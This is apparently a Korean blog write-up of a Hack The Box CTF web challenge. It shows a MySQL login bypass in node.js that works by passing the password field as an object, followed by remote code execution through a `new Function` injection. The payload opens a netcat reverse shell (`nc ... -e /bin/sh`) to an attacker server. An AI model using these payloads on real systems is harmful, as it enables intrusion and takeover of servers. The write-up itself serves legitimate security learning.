티스토리 뷰

728x90
반응형

문제 개요

Bypass authentication with node.js javascript Mysql query injection and RCE in node.js at Function

 

문제 풀이

우선 문제에서는 회원가입 기능이 존재하지 않았고, 오로지 로그인 기능과 JWT 토큰 인증 기능밖에 없었습니다. 관리자의 아이디는 주어졌지만 패스워드는 랜덤한 값이기 때문에 유추할 수 없는 상황입니다. 남은 것은 JWT 토큰에 대한 취약점이거나 Mysql SQL injection 밖에는 답이 없어 보였습니다. 하지만 jwt 인증 토큰에 대한 취약점은 없어 보였기에 node.js 에서 사용되는 mysql에 해답이 있음을 알 수 있었습니다.

let mysql = require('mysql')

class Database {

    constructor() {
        this.connection = mysql.createConnection({
            // 생략
        });
    }

    // 생략

    async loginUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
            this.connection.query(stmt, [user, pass], (err, result) => {
                if(err || result.length == 0)
                    reject(err)
                resolve(result)
            })
		});
	}

}

module.exports = Database;

언뜻 보면 preparedStatement 를 사용해서 안전해보입니다. 그래서 username 과 password 를 input으로 넣었을 때 query 구문이 어떻게 만들어지는지 확인해보기 위해서 아래 문서를 참고했습니다.

https://github.com/mysqljs/mysql

 

GitHub - mysqljs/mysql: A pure node.js JavaScript Client implementing the MySQL protocol.

A pure node.js JavaScript Client implementing the MySQL protocol. - GitHub - mysqljs/mysql: A pure node.js JavaScript Client implementing the MySQL protocol.

github.com

 

위 문서에서 검색 기능을 켜고 query 라고 검색해보았더니 제일 처음으로 나오는 항목이 Escaping query values 라는 항목입니다. 해당 항목으로 가서 보겠습니다. 그리고 아래 내용 중에서 query 구문을 출력하는 방법을 찾을 수 있었습니다.

https://github.com/mysqljs/mysql

그러던 중에 신기한 것을 하나 보게 되었는데, 바로 위에서는 json object 형태로 key 와 value 값을 넘겼을 때 query 에 어떻게 mapping 되는지 자세히 보면, SET 다음에 오는 ? 에 해당되는 값이 `id` = 1, `title` = 'Hello MySQL' 임을 알 수 있습니다. object 포맷은 아예 row = value 형태로 들어감을 확인할 수 있습니다.

 

그래서 login 할 때 아래와 같이 password를 object 형태로 넘겨줬을 때 query.sql 이 어떻게 출력되는지 확인해보았습니다.

# {"username":"admin","password":{"password":1}}

SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1

그랬더니 password = `password` = 1 이 되었습니다. password 는 row 의 password 와 무조건 일치하게 될테니 true 즉 1이 되고, 1 = 1 은 다시 무조건 true 즉 1이 되어서 결국 쿼리 구문은 아래와 같이 변환됩니다.

SELECT username FROM users WHERE username = 'admin' AND 1;

 

위 원리를 이용해서 관리자로 로그인이 가능해집니다.

 

이제는 interface 뷰에서 post 로 요청하는 부분을 보겠습니다. 바로 아래와 같이 SpikyFactor.calculate 라는 함수를 호출합니다.

router.post('/api/activity', AuthMiddleware, async (req, res) => {
	const { activity, health, weight, happiness } = req.body;
	if (activity && health && weight && happiness) {
		return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
			.then(status => {
				return res.json(status);
			})
			.catch(e => {
				res.send(response('Something went wrong!'));
			});
	}
	return res.send(response('Missing required parameters!'));
});

 

SpikyFacotr.calculate 함수는 임의의 node.js 코드를 실행시킬 수 있는 취약점이 존재한다는 것을 단번에 알 수 있습니다.

const calculate = (activity, health, weight, happiness) => {
    return new Promise(async (resolve, reject) => {
        try {
            // devine formula :100:
            let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
                if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; }  if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; }  if (w < 10) { w = 10 } return {m, hp, w, hs}
                }`;
            quickMaths = new Function(res);
            const {m, hp, w, hs} = quickMaths();
            resolve({mood: m, health: hp, weight: w, happiness: hs})
        }
        catch (e) {
            reject(e);
        }
    });
}

 

activity 부분에 두 작은따옴표 사이에 reverse shell 을 실행하는 코드를 작성하면 아래와 같이 만들어집니다.

with(a=''+(global.process.mainModule.require('child_process').exec('nc IP주소 포트번호 -e /bin/sh'))+'', hp= ... 생략

위와 같은 형태로 임의의 node.js 코드를 실행시킬 수 있게 됩니다.

 

그리고 아래는 실제 RCE 페이로드를 전송하는 요청입니다.

 

이제 공격자 서버로 리버스쉘이 정상적으로 연결된 것을 볼 수 있습니다.

 

 

마무리

이번 문제도 원래는 Hackthebox CTF에 출제된 문제라고는 하는데 마침 웹 챌린지에 올라오게 되어서 풀어볼 수 있게 된 문제입니다. 흥미로운 문제였습니다~!

728x90
반응형
댓글